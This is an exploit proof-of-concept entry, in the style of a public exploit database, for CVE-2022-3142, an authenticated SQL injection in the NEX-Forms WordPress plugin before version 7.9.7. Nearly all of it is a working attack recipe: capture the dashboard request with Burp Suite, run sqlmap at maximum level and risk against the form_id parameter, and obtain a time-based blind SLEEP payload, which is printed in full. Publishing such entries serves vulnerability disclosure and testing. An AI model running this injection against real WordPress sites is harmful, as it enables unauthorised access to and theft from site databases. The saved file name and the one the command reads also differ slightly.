NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi
# Exploit Title: NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi # Exploit Author: Elias Hohl # Date: 2022-08-01 # Vendor Homepage: https://basixonline.net # Software Link: https://wordpress.org/plugins/nex-forms-express-wp-form-builder/ # Tested on: Ubuntu 20.04 # CVE : CVE-2022-3142 Authenticated SQL injection vulnerability in the "NEX Forms" Wordpress plugin https://medium.com/@elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5 1. Start a new Wordpress instance using docker-compose. 2. Install the NEX Forms plugin. 3. Open the URL "/wp-admin/admin.php?page=nex-forms-dashboard&form_id=1" in your browser. Save the request to "nex-forms-req.txt" via Burp Suite. 4. Execute the following command: sqlmap -r nex_forms_req.txt -p form_id --technique=T --dbms=mysql --level 5 --risk 3 sqlmap will find a time-based blind payload: Parameter: form_id (GET) Type: time-based blind Title: MySQL >=5.0.12 AND time-based blind (query SLEEP) Payload: page=nex-forms-dashboard&form_id=1 AND (SELECT 4715 FROM (SELECT(SLEEP(5)))nPUi) |